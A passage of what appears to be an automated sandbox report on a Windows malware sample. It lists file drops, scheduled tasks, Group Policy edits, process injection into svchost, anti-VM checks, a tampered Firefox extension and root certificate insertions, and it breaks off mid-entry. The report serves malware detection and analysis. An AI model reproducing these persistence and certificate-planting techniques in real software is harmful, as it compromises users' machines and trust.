File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E87CE99F124623F95572A696C80EFCAF_6E4381F77BE6F6EB436B295D285593C5 C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\XbtEaun.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_C66311BFC31F329FE5E6FBB46563B719 C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\XbtEaun.exe N/A
File opened for modification \??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification \??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2DDCD2B5F37625B82E81F4976CEE400_672E22BF4DD6902F7F85F941E23571DA C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\XbtEaun.exe N/A
File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\XbtEaun.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat C:\Windows\SysWOW64\rundll32.exe N/A
File opened for modification C:\Windows\System32\GroupPolicy C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File created C:\Windows\System32\GroupPolicy\Machine\Registry.pol C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol C:\Users\Admin\AppData\Local\Temp\OCvADAshLKsLAwgHj\gvUvpqXuJGpWbAU\XKywUjg.exe N/A
File opened for modification C:\Windows\system32\GroupPolicy\gpt.ini C:\Users\Admin\AppData\Local\Temp\OCvADAshLKsLAwgHj\gvUvpqXuJGpWbAU\XKywUjg.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\XbtEaun.exe N/A
File opened for modification C:\Windows\System32\GroupPolicy\gpt.ini C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Windows\System32\GroupPolicy\GPT.INI C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\XbtEaun.exe N/A
File opened for modification \??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\XbtEaun.exe N/A
File opened for modification \??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E87CE99F124623F95572A696C80EFCAF_6E4381F77BE6F6EB436B295D285593C5 C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\XbtEaun.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_C66311BFC31F329FE5E6FBB46563B719 C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\XbtEaun.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2948 set thread context of 2768 N/A C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe C:\Windows\system32\conhost.exe
PID 2948 set thread context of 384 N/A C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe C:\Windows\system32\svchost.exe

Checks for VirtualBox DLLs, possible anti-VM trick

Description Indicator Process Target
File opened (read-only) \??\VBoxMiniRdrDN C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
File opened (read-only) \??\VBoxMiniRdrDN C:\Users\Admin\Documents\SimpleAdobe\uzZi9rEzAxV101Nw31wN1vyL.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\XbtEaun.exe N/A
File created C:\Program Files (x86)\REeMUtPoCvFU2\hEoNbsk.xml C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\XbtEaun.exe N/A
File created C:\Program Files (x86)\BeEwQyQINcRtuKICoSR\qWtWNtl.dll C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\XbtEaun.exe N/A
File created C:\Program Files (x86)\BeEwQyQINcRtuKICoSR\gamQSjE.xml C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\XbtEaun.exe N/A
File created C:\Program Files (x86)\kLpsRMujXEpbC\nurkOjB.dll C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\XbtEaun.exe N/A
File created C:\Program Files (x86)\tffvHWJZU\hsuNxZ.dll C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\XbtEaun.exe N/A
File created C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\XbtEaun.exe N/A
File created C:\Program Files (x86)\kLpsRMujXEpbC\RlkloeY.xml C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\XbtEaun.exe N/A
File opened for modification C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\XbtEaun.exe N/A
File created C:\Program Files (x86)\REeMUtPoCvFU2\QhCsWugNdxQZT.dll C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\XbtEaun.exe N/A
File created C:\Program Files (x86)\RcAuZGsZhuUn\pgtDkIE.dll C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\XbtEaun.exe N/A
File created C:\Program Files\Mozilla Firefox\browser\omni.ja.bak C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\XbtEaun.exe N/A
File created C:\Program Files (x86)\tffvHWJZU\XGTqqIN.xml C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\XbtEaun.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\Tasks\dSPsRFCNvoTMekFez.job C:\Windows\SysWOW64\schtasks.exe N/A
File opened for modification C:\Windows\rss C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
File created C:\Windows\rss\csrss.exe C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
File created C:\Windows\Tasks\WFVPvOFzrjCnPPlbL.job C:\Windows\SysWOW64\schtasks.exe N/A
File created C:\Windows\windefender.exe C:\Windows\rss\csrss.exe N/A
File opened for modification C:\Windows\windefender.exe C:\Windows\rss\csrss.exe N/A
File created C:\Windows\Tasks\oiGBDDjiIQmhwtu.job C:\Windows\SysWOW64\schtasks.exe N/A
File created C:\Windows\Tasks\butYHpXTvMdZIJsEKZ.job C:\Windows\SysWOW64\schtasks.exe N/A
File created C:\Windows\Logs\CBS\CbsPersist_20240510133147.cab C:\Windows\system32\makecab.exe N/A

Launches sc.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\sc.exe N/A
N/A N/A C:\Windows\system32\sc.exe N/A
N/A N/A C:\Windows\system32\sc.exe N/A
N/A N/A C:\Windows\SysWOW64\sc.exe N/A
N/A N/A C:\Windows\system32\sc.exe N/A

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Users\Admin\Documents\SimpleAdobe\FV7GUk4b45l7XYLV6pdAL3wB.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Users\Admin\Documents\SimpleAdobe\FV7GUk4b45l7XYLV6pdAL3wB.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Users\Admin\AppData\Local\Temp\7zS8C39.tmp\Install.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Windows\SysWOW64\rundll32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Windows\SysWOW64\rundll32.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Users\Admin\AppData\Local\Temp\7zS8C39.tmp\Install.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-391 = "Arab Daylight Time" C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software C:\Windows\SysWOW64\wscript.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-412 = "E. Africa Standard Time" C:\Windows\windefender.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-551 = "North Asia Daylight Time" C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings C:\Windows\SysWOW64\wscript.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-362 = "GTB Standard Time" C:\Windows\windefender.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-182 = "Mountain Standard Time (Mexico)" C:\Windows\windefender.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time" C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-672 = "AUS Eastern Standard Time" C:\Windows\windefender.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time" C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-671 = "AUS Eastern Daylight Time" C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-451 = "Caucasus Daylight Time" C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time" C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time" C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time" C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time" C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0" C:\Windows\system32\netsh.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\XbtEaun.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{CFB57058-C07B-4CFF-A322-7CC127FBF1CD}\WpadNetworkName = "Network 3" C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\XbtEaun.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-52 = "Greenland Standard Time" C:\Windows\windefender.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time" C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation" C:\Windows\system32\netsh.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-162 = "Central Standard Time" C:\Windows\windefender.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-682 = "E. Australia Standard Time" C:\Windows\windefender.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-181 = "Mountain Daylight Time (Mexico)" C:\Windows\windefender.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time" C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time" C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time" C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1" C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\XbtEaun.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-332 = "E. Europe Standard Time" C:\Windows\windefender.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-271 = "Greenwich Daylight Time" C:\Windows\windefender.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-232 = "Hawaiian Standard Time" C:\Windows\windefender.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time" C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" C:\Windows\SysWOW64\rundll32.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-372 = "Jerusalem Standard Time" C:\Windows\windefender.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time" C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time" C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings C:\Windows\SysWOW64\rundll32.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\3e-9e-10-c9-cd-06\WpadDecision = "0" C:\Windows\SysWOW64\rundll32.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\XbtEaun.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\XbtEaun.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-1471 = "Magadan Daylight Time" C:\Windows\windefender.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time" C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-512 = "Central Asia Standard Time" C:\Windows\windefender.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-21 = "Cape Verde Daylight Time" C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time" C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time" C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time" C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ C:\Users\Admin\AppData\Local\Temp\OCvADAshLKsLAwgHj\gvUvpqXuJGpWbAU\XKywUjg.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\XbtEaun.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-461 = "Afghanistan Daylight Time" C:\Windows\windefender.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time" C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time" C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\XbtEaun.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-671 = "AUS Eastern Daylight Time" C:\Windows\windefender.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{CFB57058-C07B-4CFF-A322-7CC127FBF1CD}\WpadDecisionReason = "1" C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\XbtEaun.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-1021 = "Bangladesh Daylight Time" C:\Windows\windefender.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-435 = "Georgian Standard Time" C:\Windows\windefender.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-431 = "Iran Daylight Time" C:\Windows\windefender.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-771 = "Montevideo Daylight Time" C:\Windows\windefender.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-242 = "Samoa Standard Time" C:\Windows\windefender.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-932 = "Coordinated Universal Time" C:\Windows\windefender.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time" C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A

Modifies system certificate store

evasion spyware trojan
Description Indicator Process Target
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 1400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a32000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 